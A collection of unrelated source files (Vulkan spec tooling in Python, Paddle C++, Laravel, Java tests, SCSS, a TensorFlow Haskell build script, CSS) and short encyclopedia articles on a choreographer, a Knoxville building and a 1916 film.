logWarn('Cannot open file', filename, ':', sys.exc_info()[0]) return None, None return lines, newline_string def clampToBlock(line, minline, maxline): """Clamp a line number to be in the range [minline,maxline]. If the line number is None, just return it. If minline is None, do not clamp to that value.""" if line is None: return line if minline and line < minline: return minline if line > maxline: return maxline return line def fixupRefs(pageMap, specFile, file): """Fill in missing fields in pageInfo structures, to the extent they can be inferred. - pageMap - dictionary of pageInfo structures - specFile - filename - file - list of strings making up the file, indexed by pageInfo""" # All potential ref pages are now in pageMap. Process them to # identify actual page start/end/description boundaries, if # not already determined from the text. for name in sorted(pageMap.keys()): pi = pageMap[name] # # If nothing is found but an include line with no begin, validity, # # or end, this is not intended as a ref page (yet). Set the begin # # line to the include line, so autogeneration can at least # # pull the include out, but mark it not to be extracted. # # Examples include the host sync table includes in # # chapters/fundamentals.adoc and the table of Vk*Flag types in # # appendices/boilerplate.adoc. # if pi.begin is None and pi.validity is None and pi.end is None: # pi.begin = pi.include # pi.extractPage = False # pi.Warning = 'No begin, validity, or end lines identified' # continue # Using open block delimiters, ref pages must *always* have a # defined begin and end. If either is undefined, that is fatal. if pi.begin is None: pi.extractPage = False pi.Warning = 'Can\'t identify begin of ref page open block' continue if pi.end is None: pi.extractPage = False pi.Warning = 'Can\'t identify end of ref page open block' continue # If there is no description of the page, infer one from the type if pi.desc is None: if pi.type is not None: # pi.desc = pi.type[0:len(pi.type)-1] + ' (no short description available)' pi.Warning = 'No short description available; could infer from the type and name' else: pi.extractPage = False pi.Warning = 'No short description available, cannot infer from the type' continue # Try to determine where the parameter and body sections of the page # begin. funcpointer, proto, and struct pages infer the location of # the parameter and body sections. Other pages infer the location of # the body, but have no parameter sections. # # Probably some other types infer this as well - refer to list of # all page types in genRef.py:emitPage() if pi.include is not None: if pi.type in ['funcpointers', 'protos', 'structs']: pi.param = nextPara(file, pi.include) if pi.body is None: pi.body = nextPara(file, pi.param) # Vulkan Feature struct refpages may have interstitial # text between the include block and the actual # parameter descriptions. # If so, advance the body one more paragraph. if 'This structure describes the following feature' in file[pi.param]: pi.body = nextPara(file, pi.body) else: if pi.body is None: pi.body = nextPara(file, pi.include) else: pi.Warning = 'Page does not have an API definition include::' # It is possible for the inferred param and body lines to run past # the end of block, if, for example, there is no parameter section. pi.param = clampToBlock(pi.param, pi.include, pi.end) pi.body = clampToBlock(pi.body, pi.param, pi.end) if pi.type in ['funcpointers', 'protos']: # It is possible for the inferred parameter section to be invalid, # such as for the type PFN_vkVoidFunction, which has no parameters. # Since the parameter section is always a bullet-point list, we know # the section is invalid if its text does not start with a list item. # Note: This also deletes parameter sections that are simply empty. if pi.param is not None and not file[pi.param].startswith(' * '): pi.body = pi.param pi.param = None # We can get to this point with .include, .param, and .validity # all being None, indicating those sections were not found. logDiag('fixupRefs: after processing,', pi.name, 'looks like:') printPageInfo(pi, file) # Now that all the valid pages have been found, try to make some # inferences about invalid pages. # # If a reference without a .end is entirely inside a valid reference, # then it is intentionally embedded - may want to create an indirect # page that links into the embedding page. This is done by a very # inefficient double loop, but the loop depth is small. for name in sorted(pageMap.keys()): pi = pageMap[name] if pi.end is None: for embedName in sorted(pageMap.keys()): logDiag('fixupRefs: comparing', pi.name, 'to', embedName) embed = pageMap[embedName] # Do not check embeddings which are themselves invalid if not embed.extractPage: logDiag('Skipping check for embedding in:', embed.name) continue if embed.begin is None or embed.end is None: logDiag('fixupRefs:', name + ':', 'can\'t compare to unanchored ref:', embed.name, 'in', specFile, 'at line', pi.include ) printPageInfo(pi, file) printPageInfo(embed, file) # If an embed is found, change the error to a warning elif (pi.include is not None and pi.include >= embed.begin and pi.include <= embed.end): logDiag('fixupRefs: Found embed for:', name, 'inside:', embedName, 'in', specFile, 'at line', pi.include ) pi.embed = embed.name pi.Warning = 'Embedded in definition for ' + embed.name break else: logDiag('fixupRefs: No embed match for:', name, 'inside:', embedName, 'in', specFile, 'at line', pi.include) def compatiblePageTypes(refpage_type, pagemap_type): """Returns whether two refpage 'types' (categories) are compatible - this is only true for 'consts' and 'enums' types.""" constsEnums = [ 'consts', 'enums' ] if refpage_type == pagemap_type: return True if refpage_type in constsEnums and pagemap_type in constsEnums: return True return False # Patterns used to recognize interesting lines in an asciidoc source file. # These patterns are only compiled once. endifPat = re.compile(r'^endif::(?P<condition>[\w_+,]+)\[\]') beginPat = re.compile(r'^\[open,(?P<attribs>refpage=.*)\]') # attribute key/value pairs of an open block attribStr = r"([a-z]+)='([^'\\]*(?:\\.[^'\\]*)*)'" attribPat = re.compile(attribStr) bodyPat = re.compile(r'^// *refBody') errorPat = re.compile(r'^// *refError') # This regex transplanted from check_spec_links # It looks for various generated file conventions, and for the api/validity # include (generated_type), protos/struct/etc path (category), and API name # (entity_name). # It could be put into the API conventions object, instead of being # generalized for all the different specs. INCLUDE = re.compile( r'include::(?P<directory_traverse>((../){1,4}|\{generated\}/)(generated/)?)(?P<generated_type>[\w]+)/(?P<category>\w+)/(?P<entity_name>[^./]+)\.(adoc|txt)[\[][\]]') def findRefs(file, filename): """Identify reference pages in a list of strings, returning a dictionary of pageInfo entries for each one found, or None on failure.""" setLogSourcefile(filename) setLogProcname('findRefs') # To reliably detect the open blocks around reference pages, we must # first detect the '[open,refpage=...]' markup delimiting the block; # skip past the '--' block delimiter on the next line; and identify the # '--' block delimiter closing the page. # This cannot be done solely with pattern matching, and requires state to # track 'inside/outside block'. # When looking for open blocks, possible states are: # 'outside' - outside a block # 'start' - have found the '[open...]' line # 'inside' - have found the following '--' line openBlockState = 'outside' # Dictionary of interesting line numbers and strings related to an API # name pageMap = {} numLines = len(file) line = 0 # Track the pageInfo object corresponding to the current open block pi = None while (line < numLines): setLogLine(line) # Only one of the patterns can possibly match. Add it to # the dictionary for that name. # [open,refpage=...] starting a refpage block matches = beginPat.search(file[line]) if matches is not None: logDiag('Matched open block pattern') attribs = matches.group('attribs') # If the previous open block was not closed, raise an error if openBlockState != 'outside': logErr('Nested open block starting at line', line, 'of', filename) openBlockState = 'start' # Parse the block attributes matches = attribPat.findall(attribs) # Extract each attribute name = None desc = None refpage_type = None spec_type = None anchor = None alias = None xrefs = None for (key,value) in matches: logDiag('got attribute', key, '=', value) if key == 'refpage': name = value elif key == 'desc': desc = unescapeQuotes(value) elif key == 'type': refpage_type = value elif key == 'spec': spec_type = value elif key == 'anchor': anchor = value elif key == 'alias': alias = value elif key == 'xrefs': xrefs = value else: logWarn('unknown open block attribute:', key) if name is None or desc is None or refpage_type is None: logWarn('missing one or more required open block attributes:' 'refpage, desc, or type') # Leave pi is None so open block delimiters are ignored else: pi = lookupPage(pageMap, name) pi.desc = desc # Must match later type definitions in interface/validity includes pi.type = refpage_type pi.spec = spec_type pi.anchor = anchor if alias: pi.alias = alias if xrefs: pi.refs = xrefs logDiag('open block for', name, 'added DESC =', desc, 'TYPE =', refpage_type, 'ALIAS =', alias, 'XREFS =', xrefs, 'SPEC =', spec_type, 'ANCHOR =', anchor) line = line + 1 continue # '--' starting or ending and open block if file[line].rstrip() == '--': if openBlockState == 'outside': # Only refpage open blocks should use -- delimiters logWarn('Unexpected double-dash block delimiters') elif openBlockState == 'start': # -- delimiter following [open,refpage=...] openBlockState = 'inside' if pi is None: logWarn('no pageInfo available for opening -- delimiter') else: pi.begin = line + 1 logDiag('opening -- delimiter: added BEGIN =', pi.begin) elif openBlockState == 'inside': # -- delimiter ending an open block if pi is None: logWarn('no pageInfo available for closing -- delimiter') else: pi.end = line - 1 logDiag('closing -- delimiter: added END =', pi.end) openBlockState = 'outside' pi = None else: logWarn('unknown openBlockState:', openBlockState) line = line + 1 continue matches = INCLUDE.search(file[line]) if matches is not None: # Something got included, not sure what yet. gen_type = matches.group('generated_type') refpage_type = matches.group('category') name = matches.group('entity_name') # This will never match in OpenCL if gen_type == 'validity': logDiag('Matched validity pattern') if pi is not None: if pi.type and not compatiblePageTypes(refpage_type, pi.type): logWarn('ERROR: pageMap[' + name + '] type:', pi.type, 'does not match type:', refpage_type) pi.type = refpage_type pi.validity = line logDiag('added TYPE =', pi.type, 'VALIDITY =', pi.validity) else: logWarn('validity include:: line NOT inside block') line = line + 1 continue if gen_type == 'api': logDiag('Matched include pattern') if pi is not None: if pi.include is not None: logDiag('found multiple includes for this block') if pi.type and not compatiblePageTypes(refpage_type, pi.type): logWarn('ERROR: pageMap[' + name + '] type:', pi.type, 'does not match type:', refpage_type) pi.type = refpage_type pi.include = line logDiag('added TYPE =', pi.type, 'INCLUDE =', pi.include) else: logWarn('interface include:: line NOT inside block') line = line + 1 continue logDiag('ignoring unrecognized include line ', matches.group()) # Vulkan 1.1 markup allows the last API include construct to be # followed by an asciidoctor endif:: construct (and also preceded, # at some distance). # This looks for endif:: immediately following an include:: line # and, if found, moves the include boundary to this line. matches = endifPat.search(file[line]) if matches is not None and pi is not None: if pi.include == line - 1: logDiag('Matched endif pattern following include; moving include') pi.include = line else: logDiag('Matched endif pattern (not following include)') line = line + 1 continue matches = bodyPat.search(file[line]) if matches is not None: logDiag('Matched // refBody pattern') if pi is not None: pi.body = line logDiag('added BODY =', pi.body) else: logWarn('// refBody line NOT inside block') line = line + 1 continue # OpenCL spec uses // refError to tag "validity" (Errors) language, # instead of /validity/ includes. matches = errorPat.search(file[line]) if matches is not None: logDiag('Matched // refError pattern') if pi is not None: pi.validity = line logDiag('added VALIDITY (refError) =', pi.validity) else: logWarn('// refError line NOT inside block') line = line + 1 continue line = line + 1 continue if pi is not None: logErr('Unclosed open block at EOF!') setLogSourcefile(None) setLogProcname(None) setLogLine(None) return pageMap def getBranch(): """Determine current git branch Returns (branch name, ''), or (None, stderr output) if the branch name cannot be determined""" command = [ 'git', 'symbolic-ref', '--short', 'HEAD' ] results = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # git command failed if len(results.stderr) > 0: return (None, results.stderr) # Remove newline from output and convert to a string branch = results.stdout.rstrip().decode() if len(branch) > 0: # Strip trailing newline branch = results.stdout.decode()[0:-1] return (branch, '') ```
Suzy Willson (born 1970) is a British director and choreographer. Willson is co-artistic director of London-based performance company Clod Ensemble. Early life and education Willson was born in Northwood, Middlesex in 1970. She graduated with a degree in drama from Manchester University before going on to study at L'École Internationale de Théâtre Jacques Lecoq. Career Willson founded London based performance company Clod Ensemble in 1995 with composer Paul Clark and has directed all of their productions to date. Her body of work ‘defies categorisation’ and crosses the boundaries of theatrical and choreographic practice, working with different combinations of dancers, musicians, actors and independent performers. Her productions take place in traditional theatres and dance houses, but also in found spaces and outdoor locations. Her performance work sometimes takes inspiration from medical themes and explores ways of seeing, thinking about and experiencing the human body. Recent works include: Placebo – a piece in which seven dancers explore the placebo effect commissioned by The Place; choral lament Silver Swan in Tate Modern’s Turbine Hall (2011); Red Ladies – a piece for 18 identically dressed women performed across an entire city (locations include London with Southbank Centre, Porto with Serralves Museum , Margate with Turner Contemporary); An Anatomie in Four Quarters – a site specific performance originally created for the entire auditorium of Sadlers Wells, London (2012) and Under Glass – a piece in which all the performers are in glass boxes and jars (Sadlers Wells 2009-2017), which won a Total Theatre Award for Physical / Visual Theatre in 2009. Willson’s work is an advocate for role of the arts in healthcare education She is a regular contributor to journals and books on both performance and medicine (see selected journal articles and book chapters below) and an Honorary Professor at Barts and The London School of Medicine and Dentistry. Willson pioneered the award-winning Performing Medicine programme which encourages people working in healthcare to appreciate the choreographic, non-verbal and spatial dimensions of care. Performing Medicine has been cited as an example of best practice in the 2017 report from the All Party Parliamentary Group on Arts, Health and Wellbeing. Selected journal articles and book chapters Willson, Suzy and P. Jaye (2017), ‘Arts based learning for a Circle of Care’, Lancet 390: 642-643 Willson, Suzy (2007) ‘Drama for doctors’, Lancet 369: 1782 Willson, Suzy (2006) ‘What can the arts bring to medical training’, Lancet 368: S15-S1 Willson, Suzy (2016), ‘Moving Medicine’, in Routledge Companion to Jacques Lecoqedited by Mark Evans and Rick Kemp (Routledge: London). Willson, Suzy (2016), ‘An Anatomie in Four Quarters: Rehearsal Notes’, in Performance and the Medical Body, Edited by Alex Mermikides and Gianna Bouchard, (Bloomsbury Methuen Drama: New York) Willson, Suzy (2014), ‘Clod Ensemble: Performing Medicine’, Performance Research: A Journal of the Performing Arts 19.4: 31-37. References 1970 births Living people British choreographers People from Northwood, London British women choreographers Alumni of the University of Manchester British expatriates in France Theatre people from London
```php <?php namespace App\Http\Controllers; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Routing\Controller as BaseController; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; abstract class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests; } ```
```c++ // // // path_to_url // // Unless required by applicable law or agreed to in writing, software // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #include "paddle/fluid/framework/ir/ipu/inference_dtype_transfer_pass.h" #include "paddle/fluid/platform/device/ipu/ipu_backend.h" #include "paddle/fluid/framework/data_type.h" #include "paddle/fluid/framework/ir/graph_helper.h" #include "paddle/fluid/framework/ir/pass_tester_helper.h" #include "paddle/phi/common/place.h" namespace paddle { namespace framework { namespace ir { void InferenceDtypeTransferPass::ApplyImpl(ir::Graph* graph) const { VLOG(10) << "enter InferenceDtypeTransferPass::ApplyImpl"; VLOG(10) << "Raw Graph: "; VLOG(10) << DebugString(graph); auto* ipu_backend = platform::ipu::IpuBackend::GetInstance(); auto enable_fp16 = ipu_backend->GetIpuStrategy()->enable_fp16; if (enable_fp16) { VLOG(10) << "Transfer var to fp16..."; auto* scope = ipu_backend->GetScope(); // Record specific vars to skip std::set<std::string> skip_var_lists; for (auto* node : graph->Nodes()) { if (node->IsOp()) { // clip op' attrs `max` and `min` only support FP32 if (node->Op()->Type() == "popart_clip") { auto min_tensor_name = node->Op()->InputArgumentNames()[1]; auto max_tensor_name = node->Op()->InputArgumentNames()[2]; skip_var_lists.insert(min_tensor_name); skip_var_lists.insert(max_tensor_name); } } } std::unordered_set<std::string> used_var_names; for (auto* node : graph->Nodes()) { if (node->IsVar()) { auto var_desc = node->Var(); if (var_desc->GetDataType() == proto::VarType::FP32) { // Skip specific vars if (skip_var_lists.find(var_desc->Name()) != skip_var_lists.end()) { continue; } // Transfer the dtypes of var_desc var_desc->SetDataType(proto::VarType::FP16); VLOG(10) << "Transfer the VarDesc of " << var_desc->Name() << " to " << var_desc->GetDataType(); if (node->inputs.empty() && node->Var()->Persistable() && scope->FindVar(var_desc->Name()) && used_var_names.find(var_desc->Name()) == used_var_names.end()) { // Transfer the dtypes of weight tensors std::vector<float16> fp16_data; auto* tensor = scope->FindVar(var_desc->Name()) ->GetMutable<phi::DenseTensor>(); auto* data_ptr = tensor->data<float>(); auto num_elem = tensor->numel(); std::transform(data_ptr, data_ptr + num_elem, std::back_inserter(fp16_data), [&](float elem) { return float16(elem); }); memcpy(reinterpret_cast<void*>(data_ptr), fp16_data.data(), num_elem * sizeof(float16)); tensor->set_type( framework::TransToPhiDataType(proto::VarType::FP16)); } } used_var_names.insert(var_desc->Name()); } if (node->IsOp()) { auto* op_desc = node->Op(); if (op_desc->Type() == "popart_cast") { // Transfer the target dtype of cast Op if (PADDLE_GET_CONST(std::string, op_desc->GetAttr("to")) == "FLOAT") { op_desc->SetAttr("to", std::string("FLOAT16")); op_desc->Flush(); } } if (op_desc->Type() == "popart_constant") { // Skip specific constant auto output_var_name = node->outputs[0]->Var()->Name(); if (skip_var_lists.find(output_var_name) != skip_var_lists.end()) { continue; } // Transfer the dtype of fill_constant Op if (op_desc->GetAttrIfExists<int>("dtype") == 1) { op_desc->SetAttr("dtype", 10); op_desc->Flush(); } } } } VLOG(10) << "Transfer var to fp16...Done"; } VLOG(10) << "Post Graph: "; VLOG(10) << DebugString(graph); VLOG(10) << "leave InferenceDtypeTransferPass::ApplyImpl"; } } // namespace ir } // namespace framework } // namespace paddle REGISTER_PASS(inference_dtype_transfer_pass, paddle::framework::ir::InferenceDtypeTransferPass); ```
```java package com.yingjun.ssm.dao; import java.util.ArrayList; import java.util.List; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import com.yingjun.ssm.entity.Goods; import com.yingjun.ssm.entity.Order; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration("classpath:spring/spring-dao.xml") public class OrderDaoTest { @Autowired private OrderDao orderDao; @Autowired private GoodsDao goodsDao; @Test public void testInsertOrder() { Goods goods=goodsDao.queryAll(0, 1).get(0); System.out.println(goods); int result=orderDao.insertOrder(1000,goods.getGoodsId(),goods.getTitle()); System.out.println("testInsertOrder result:"+result); System.out.println("--------------------------"); } @Test public void testQueryByUserPhone() { List<Order> list=orderDao.queryByUserPhone(18768128888L); for (Order order : list) { System.out.println(order); } System.out.println("--------------------------"); } @Test public void testQueryAll() { List<Order> list=new ArrayList<Order>(); for (Order order : list) { System.out.println(order); } System.out.println("--------------------------"); } } ```
```scss $variant: 'light'; $topbar: 'light'; @import '../../_sass/variables'; @import '../../_sass/colors'; @import '../../_sass/gnome-shell/drawing'; @import '../../_sass/gnome-shell/common'; @import '../../_sass/gnome-shell/widgets-46-0'; @import '../../_sass/gnome-shell/extensions-46-0'; ```
```haskell -- -- -- path_to_url -- -- Unless required by applicable law or agreed to in writing, software -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. {-# LANGUAGE CPP #-} -- | Generates the wrappers for Ops shipped with tensorflow. module Main where import Distribution.PackageDescription ( PackageDescription(..) , libBuildInfo , hsSourceDirs ) import qualified Distribution.Simple.BuildPaths as BuildPaths import Distribution.Simple.LocalBuildInfo (LocalBuildInfo) import Distribution.Simple ( defaultMainWithHooks , simpleUserHooks , UserHooks(..) ) #if MIN_VERSION_Cabal(3,6,0) import Distribution.Utils.Path (unsafeMakeSymbolicPath) #endif import Data.List (intercalate) import Data.ProtoLens (decodeMessage) import System.Directory (createDirectoryIfMissing) import System.Exit (exitFailure) import System.FilePath ((</>)) import System.IO (hPutStrLn, stderr) import TensorFlow.Internal.FFI (getAllOpList) import TensorFlow.OpGen (docOpList, OpGenFlags(..)) import Text.PrettyPrint.Mainland (prettyLazyText) import qualified Data.Text.Lazy.IO as Text main = defaultMainWithHooks generatingOpsWrappers -- TODO: Generalize for user libraries by replacing getAllOpList with -- a wrapper around TF_LoadLibrary. The complicated part is interplay -- between bazel and Haskell build system. generatingOpsWrappers :: UserHooks generatingOpsWrappers = hooks { buildHook = \p l h f -> generateSources l >> buildHook hooks p l h f , haddockHook = \p l h f -> generateSources l >> haddockHook hooks p l h f , replHook = \p l h f args -> generateSources l >> replHook hooks p l h f args } where flagsBuilder dir = OpGenFlags { outputFile = dir </> "Core.hs" , prefix = "TensorFlow.GenOps" , excludeList = intercalate "," blackList } hooks = simpleUserHooks generateSources :: LocalBuildInfo -> IO () generateSources l = do let dir = autogenModulesDir l </> "TensorFlow/GenOps" createDirectoryIfMissing True dir let flags = flagsBuilder dir pb <- getAllOpList case decodeMessage pb of Left e -> hPutStrLn stderr e >> exitFailure Right x -> Text.writeFile (outputFile flags) (prettyLazyText 80 $ docOpList flags x) -- | Add the autogen directory to the hs-source-dirs of all the targets in the -- .cabal file. Used to fool 'sdist' by pointing it to the generated source -- files. fudgePackageDesc :: LocalBuildInfo -> PackageDescription -> PackageDescription fudgePackageDesc lbi p = p { library = (\lib -> lib { libBuildInfo = fudgeBuildInfo (libBuildInfo lib) }) <$> library p } where fudgeBuildInfo bi = #if MIN_VERSION_Cabal(3,6,0) bi { hsSourceDirs = unsafeMakeSymbolicPath (autogenModulesDir lbi) : hsSourceDirs bi } #else bi { hsSourceDirs = autogenModulesDir lbi : hsSourceDirs bi } #endif blackList = [ -- Requires the "func" type: "FilterDataset" , "BatchFunction" , "Case" , "ChooseFastestBranchDataset" , "ExperimentalGroupByReducerDataset" , "ExperimentalGroupByWindowDataset" , "ExperimentalMapAndBatchDataset" , "ExperimentalMapDataset" , "ExperimentalNumaMapAndBatchDataset" , "ExperimentalParallelInterleaveDataset" , "ExperimentalScanDataset" , "ExperimentalTakeWhileDataset" , "FilterDataset" , "FlatMapDataset" , "For" , "GeneratorDataset" , "GroupByReducerDataset" , "GroupByWindowDataset" , "If" , "InterleaveDataset" , "LegacyParallelInterleaveDatasetV2" , "LoadDataset" , "MapAndBatchDataset" , "MapAndBatchDatasetV2" , "MapDataset" , "MapDefun" , "OneShotIterator" , "ParallelInterleaveDataset" , "ParallelInterleaveDatasetV2" , "ParallelInterleaveDatasetV3" , "ParallelInterleaveDatasetV4" , "ParallelMapDataset" , "ParallelMapDatasetV2" , "ParseSequenceExample" , "ParseSequenceExampleV2" , "ParseSingleSequenceExample" , "PartitionedCall" , "ReduceDataset" , "RemoteCall" , "SaveDataset" , "ScanDataset" , "SnapshotDatasetV2" , "StatefulPartitionedCall" , "StatelessCase" , "StatelessIf" , "StatelessWhile" , "SymbolicGradient" , "TakeWhileDataset" , "TPUCompile" , "TPUPartitionedCall" , "TPUReplicate" , "While" , "XlaIf" , "XlaLaunch" , "XlaReduce" , "XlaReduceWindow" , "XlaSelectAndScatter" , "XlaScatter" , "XlaWhile" , "_If" , "_TPUReplicate" , "_While" , "_XlaCompile" -- Incorrectly generated: , "_FusedBatchNormGradEx" -- Could not deduce: , "_MklFusedBatchNorm" , "_MklFusedBatchNormEx" , "_MklFusedBatchNormGrad" , "_MklFusedBatchNormGradV2" , "_MklFusedBatchNormGradV3" , "_MklFusedBatchNormV2" , "_MklFusedBatchNormV3" ] autogenModulesDir :: LocalBuildInfo -> FilePath #if MIN_VERSION_Cabal(2,0,0) autogenModulesDir = BuildPaths.autogenPackageModulesDir #else autogenModulesDir = BuildPaths.autogenModulesDir #endif ```
The Old Customs House, also called the Old Post Office, is a historic building located at the corner of Clinch Avenue and Market Street in Knoxville, Tennessee, United States. Completed in 1874, it was the city's first federal building. It housed the federal courts, excise offices and post office until 1933. From 1936 to 1976, it was used by the Tennessee Valley Authority for offices. Expanded in 2004, the building is home to the East Tennessee History Center, which includes the Lawson McGhee Library's Calvin M. McClung Historical Collection, the Knox County Archives, and the East Tennessee Historical Society's headquarters and museum. The building is listed on the National Register of Historic Places for its architectural significance. Design The Old Customs House is a three-story Italianate style building sheathed in East Tennessee marble. The smooth exterior walls contrast with rusticated quoins at the building's corners. The former courtroom on the third floor is notable for its neoclassical detailing. Much of the original interior has been altered. History The Customs House is situated on what was originally Lot 11 of James White's 1795 extension of Knoxville. An 1871 map of Knoxville shows the property as an open grove surrounded by a few small houses. Through the 1850s, Congress was petitioned by cities across the country to provide courtrooms and post offices. Congress appropriated funding for Knoxville's Customs House in 1856, and reappropriated the funding in 1869. Construction of the original portion of the Customs House (at the corner of Clinch and Market), designed by U.S. government chief architect Alfred B. Mullett (1834–1890), began in 1871 and was completed in 1874. The first floor was used as a post office, while the second and third floors were used for the federal court and office space for federal officials. As Knoxville's population quadrupled in the late 19th century, the increased postal activity left the Customs House critically overcrowded, and the building was enlarged in 1910. The building had a steam plant for heating and used electricity provided by the Knoxville Railway & Light Company. Knoxville's continued growth rendered the Customs House insufficient for the city's postal needs, and a new post office was built on Main Street in 1934. Ownership of the Customs House was transferred to the Tennessee Valley Authority. In 1976, ownership of the Customs House was transferred to Knox County for use by the Lawson McGhee Library's Calvin M. McClung Historical Collection and the Knox County Archives. In the 1980s, the East Tennessee Historical Society (ETHS) moved to the Customs House and set up the East Tennessee Historical Center. The society opened the Museum of East Tennessee History in 1993. In 2000, the second-floor corridor of the building was named Deaderick Hall in honor of librarian Lucile Deaderick (1914–2006). In 2004, a BarberMcMurry-designed eastern extension to the Customs House was completed, extending the structure the length of Clinch Avenue from Market to Gay Street. This new complex, known as the East Tennessee History Center, includes the ETHS's headquarters, the Museum of East Tennessee History, the Calvin M. McClung Historical Collection, and the Knox County Archives. The Old Customs House is depicted in the ETHS logo. See also Fidelity Building (Knoxville) Greystone (Knoxville) Knox County Courthouse (Tennessee) Old City Hall (Knoxville) Notes Sources Isenhour, Judith Clayton. Knoxville - A Pictorial History. (Donning, 1978), pages 122-124. Knoxville: Fifty Landmarks. (Knoxville: The Knoxville Heritage Committee of the Junior League of Knoxville, 1976), page 11. External links East Tennessee Historical Society MPC Silver Award Photos Custom House under construction, circa 1872 – photograph on file at the Calvin M. McClung Digital Collection Custom House interior, circa 1894 – photograph on file at the Calvin M. McClung Digital Collection Government buildings completed in 1874 Buildings and structures in Knoxville, Tennessee Renaissance Revival architecture in Tennessee Alfred B. Mullett buildings Custom houses in the United States Government buildings on the National Register of Historic Places in Tennessee Post office buildings on the National Register of Historic Places in Tennessee Courthouses in Tennessee Former federal courthouses in the United States National Register of Historic Places in Knoxville, Tennessee Custom houses on the National Register of Historic Places
The Masked Rider is a 1916 silent film drama directed by Fred J. Balshofer and starring Harold Lockwood and May Allison. It was distributed by Metro Pictures. Cast May Allison - Jill Jamison Lester Cuneo - Squid Archer Harold Lockwood - Bruce Edmunds Clarissa Selwynne - Mrs. Hart Howard Truesdell - Jimmy Jamison H. W. Willis - Grant Carr Jack McDonald - Tom Monjar Harry Burkhardt - Patrick Hart Harry Linkey - George Edmunds Preservation status The film exists with prints at the George Eastman House, Library of Congress and New Zealand Film Archive. References External links The Masked Rider at IMDb.com 1916 films American silent feature films Metro Pictures films American black-and-white films Silent American drama films 1916 drama films Films directed by Fred J. Balshofer 1910s American films
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8.6871px 12.2488px rgba(42,66,122,0.00887419),0px 3.43489px 4.8432px rgba(42,66,122,0.00620037);border-radius:0.625rem}.hero-about__components-item{list-style-type:none}.hero-about__components-item img{-webkit-filter:drop-shadow(0px 100px 80px rgba(97,116,163,0.07)) drop-shadow(0px 41.8px 33.4px rgba(97,116,163,0.0503198)) drop-shadow(0px 22.3363px 17.869px rgba(97,116,163,0.0417275)) drop-shadow(0px 12.5216px 10.0172px rgba(97,116,163,0.035)) drop-shadow(0px 6.6501px 5.32008px rgba(97,116,163,0.0282725)) drop-shadow(0px 2.76726px 2.21381px rgba(97,116,163,0.0196802));filter:drop-shadow(0px 100px 80px rgba(97,116,163,0.07)) drop-shadow(0px 41.8px 33.4px rgba(97,116,163,0.0503198)) drop-shadow(0px 22.3363px 17.869px rgba(97,116,163,0.0417275)) drop-shadow(0px 12.5216px 10.0172px rgba(97,116,163,0.035)) drop-shadow(0px 6.6501px 5.32008px rgba(97,116,163,0.0282725)) drop-shadow(0px 2.76726px 2.21381px rgba(97,116,163,0.0196802))}.hero-about__components-item:nth-child(1){order:2;width:50%}.hero-about__components-item:nth-child(1) .arrow img{transform:rotate(45deg) translateY(-1rem)}.hero-about__components-item:nth-child(2){order:1;width:100%;margin-bottom:8.25rem}.hero-about__components-item:nth-child(2) .image-wrapper{height:9.5rem}.hero-about__components-item:nth-child(3){order:3;width:50%}.hero-about__components-item:nth-child(3) .arrow img{transform:rotate(-45deg) translateY(1rem)}.hero-about__components-item .arrow{position:absolute;top:-5rem;left:50%;transform:translateX(-50%) rotate(-90deg);width:6.25rem}.hero-about__components-item .arrow img{transform-origin:left;width:100%}.hero-about__components-item .image-wrapper{position:relative;height:8rem}.hero-about__components-item .inner{max-width:16.25rem;margin:0 auto}.hero-about__components-item .title{color:#304659}.hero-about__components-item .title{max-width:7rem}@media (min-width: 576px){.hero-about__components-item .title{max-width:7.66667rem}}@media (min-width: 768px){.hero-about__components-item .title{max-width:8.33333rem}}@media (min-width: 992px){.hero-about__components-item .title{max-width:9rem}}.hero-about__components-item .description{color:#5E6678}@media (min-width: 992px){.hero-about__components-item .arrow{top:50%;left:auto;width:9.25rem;transform:translateX(0) translateY(-50%) rotate(0)}.hero-about__components-item .arrow img{transform-origin:center;width:100%}.hero-about__components-item:nth-child(1){order:1;width:auto}.hero-about__components-item:nth-child(1) .arrow{right:-4rem}.hero-about__components-item:nth-child(1) .arrow img{transform:none}.hero-about__components-item:nth-child(2){order:2;width:auto;margin-bottom:0}.hero-about__components-item:nth-child(3){order:3;width:auto}.hero-about__components-item:nth-child(3) .arrow{left:-4rem}.hero-about__components-item:nth-child(3) .arrow img{transform:rotate(180deg)}}.hero-about__components-footer{position:relative}.hero-about__components-footer .crunch-button{width:100%;max-width:30.375rem}.hero-about__components-footer .crunch-button{width:auto;max-width:none}.hero-about__components-footer:before{content:"";position:absolute;top:0;left:0;width:100%;height:1px;border-top:1px solid #edeef0} .about-content{font-family:"Gilroy",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}@media (min-width: 992px){.about-content .heading-wrapper:before,.about-content .heading-wrapper:after{content:"";border-top:2px solid rgba(194,197,204,0.3);margin:0 1.25rem 0 0;flex:1 0 1.25rem}.about-content .heading-wrapper:after{margin:0 0 0 1.25rem}}.about-content__section-subtitle{color:#5E6678}.about-content__brands{position:relative;margin-top:7rem;max-width:49.375rem;width:100%}@media (min-width: 768px){.about-content__brands{margin-top:9.5rem}}.about-content__brands:before{content:"";display:block;width:20rem;height:20rem;border-radius:50%;position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);background-color:#EFF9FC;z-index:-1}.about-content__brands:before{width:12rem;height:12rem}@media (min-width: 576px){.about-content__brands:before{width:16rem;height:16rem}}@media (min-width: 768px){.about-content__brands:before{width:20rem;height:20rem}}.about-content__brands .brand-box{background-color:#fff;box-shadow:0px 100px 141px rgba(42,66,122,0.02),0px 36.5016px 51.4673px rgba(42,66,122,0.0137996),0px 17.7209px 24.9864px rgba(42,66,122,0.0111258),0px 8.6871px 12.2488px rgba(42,66,122,0.00887419),0px 3.43489px 4.8432px 